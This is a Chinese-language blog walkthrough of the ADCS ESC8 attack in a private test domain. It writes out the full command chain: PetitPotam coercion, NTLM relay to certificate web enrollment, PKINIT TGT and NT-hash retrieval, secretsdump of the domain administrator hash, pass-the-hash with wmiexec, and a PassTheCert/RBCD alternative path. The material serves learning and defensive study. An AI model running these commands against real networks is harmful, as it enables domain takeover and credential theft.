T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

AD域-ADCS错误配置-ESC8

image

2023-12-20 / 共计1618 字


冬有冬的来意,雪有雪的秘密

Winter has its own purpose, and snow has its own secrets

ADCS-ESC完结

在真实环境中,在域环境中欲进行获取域控权限,并存在ADCS服务时,ESC1&ESC8相较于ESC2-ESC7比较常用。 ADCS-ESC配置错误文章目录:

  1. ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
  2. ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
  3. ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
  4. ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
  5. ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
  6. ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
  7. ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/

ADCS-ESC系列中所用到工具均整理放在Github


ESC8-环境配置

在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。 在T0ngMystic`s Blog下的ESC1-ESC7都是ADCS服务与域控在同一台服务器上,但是ESC8会用到NTML中继攻击,在同一台服务器则没法进行域控与ADCS之间的中继攻击,所以,ESC8的环境为分离部署,具体环境如下:

域控 testad.com(windows server 2019):192.168.111.22
ADCS(windows server 2019):192.168.111.221
域内机器:(windows10):192.168.111.129
kali(linux-kali):192.168.111.132

ADCS开启Web证书注册服务: image.png

ESC8-NTML中继

在kali上利用impacket下的ntlmrelayx .py开启监听: image-AD域-ADCS错误配置-ESC8-20231215154336930

利用PetitPotam对域控进行强制认证漏洞攻击,强制域控向kali进行认证:

PetitPotam.exe 192.168.111.132 192.168.111.22 1

image.png

kali监听收到来自域控服务器的NTML认证,使用中继攻击向ADCS的web服务申请DomainController证书,将获取到的base64编码证书,解码后保存:

python3 ntlmrelayx.py -t http://192.168.111.221/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

//base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx

image.png

base64证书保存到123.txt后解码保存至T0ngMystic.pfx

cat 123.txt| base64 -d > T0ngMystic.pfx

利用PKINITtools中的gettgtpkinit.py请求tgt(使用Rubeus也可以,我这里使用Rubeus后,使用mimikatz提取hash报错):

python3 gettgtpkinit.py -cert-pfx T0ngMystic.pfx testad.com/WIN-E65HGR8BUBN$ dc.ccache

image-AD域-ADCS错误配置-ESC8-20231219142254924

将tgt保存的文件赋给变量KRB5CCNAME,利用PKINITtools中的getnthash.py获取NT hash(NT hash 可以不用获取,但KRB5CCNAME必须要):

export KRB5CCNAME=dc.ccache

python3 getnthash.py -key 3260c220868278b2287ba3b62fca066ff03ac1c2ed6761a112a60b553b7733b2 testad.com/WIN-E65HGR8BUBN$

image-AD域-ADCS错误配置-ESC8-20231219142518311

利用impacket中的secretsdump.py使用dc.ccache获取域控administrator用户NTML hash:

python3 secretsdump.py -k testad.com/WIN-E65HGR8BUBN\[email protected] -no-pass -just-dc-user administrator

image.png

利用impacket中的wmiexec.py进行hsah传递访问域控服务器:

python3 wmiexec.py -hashes :92ac39dc25532a7fabf2c33d861b2c53 testad.com/[email protected] -dc-ip 192.168.111.22

image.png


KDC_ERR_PADATA_TYPE_NOSUPP错误

有时在请求TGT时有可能会报KDC_ERR_PADATA_TYPE_NOSUPP错误,导致无法请求TGT。 如果遇到这种情况,同时存在LDAP支持TLS,可以使用PassTheCert进行利用,LDAP 在内的协议支持 Schannel,从而可以通过 TLS 进行身份验证。(我在配置LDAP支持TLS后,报错就消失了,该方法作为另一种利用的思路吧) image-AD域-ADCS错误配置-ESC8-20231218152859243

利用Certipy将先前通过NTML中继攻击获取到的证书,转换成key和crt,两个部分(PassTheCert工具需要):

certipy cert -pfx T0ngMystic.pfx -nokey -out T0ngMystic.crt
certipy cert -pfx T0ngMystic.pfx -nocert -out T0ngMystic.key

image-AD域-ADCS错误配置-ESC8-20231219151917075

利用PassTheCert生成新的机器账户 NOPKIdc :

python passthecert.py -action add_computer -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -computer-name NOPKIdc$ -computer-pass Testad@123

image-AD域-ADCS错误配置-ESC8-20231219151932489

给新建的机器用户添加rbcd(约束委派)属性:

python passthecert.py -action write_rbcd -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -delegate-from NOPKIdc$ -delegate-to WIN-E65HGR8BUBN$

image.png

利用impacket中的getST.py约束委派生成administrator对NOPKIdc$的cifs ST票据:

python3 getST.py -spn cifs/WIN-E65HGR8BUBN.testad.com -impersonate administrator testad.com/NOPKIdc\$:Testad@123 -dc-ip 192.168.111.22

image.png

将获取的票据保存到变量KRB5CCNAME,并利用wmiexec.py进行hash传递登录域控服务器:

export KRB5CCNAME=administrator.ccache

python3 wmiexec.py -k testad.com/[email protected] -no-pass -dc-ip 192.168.111.22

image-AD域-ADCS错误配置-ESC8-20231218153558256

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!


如果文章对您有帮助

欢迎关注公众号!

感谢您的支持!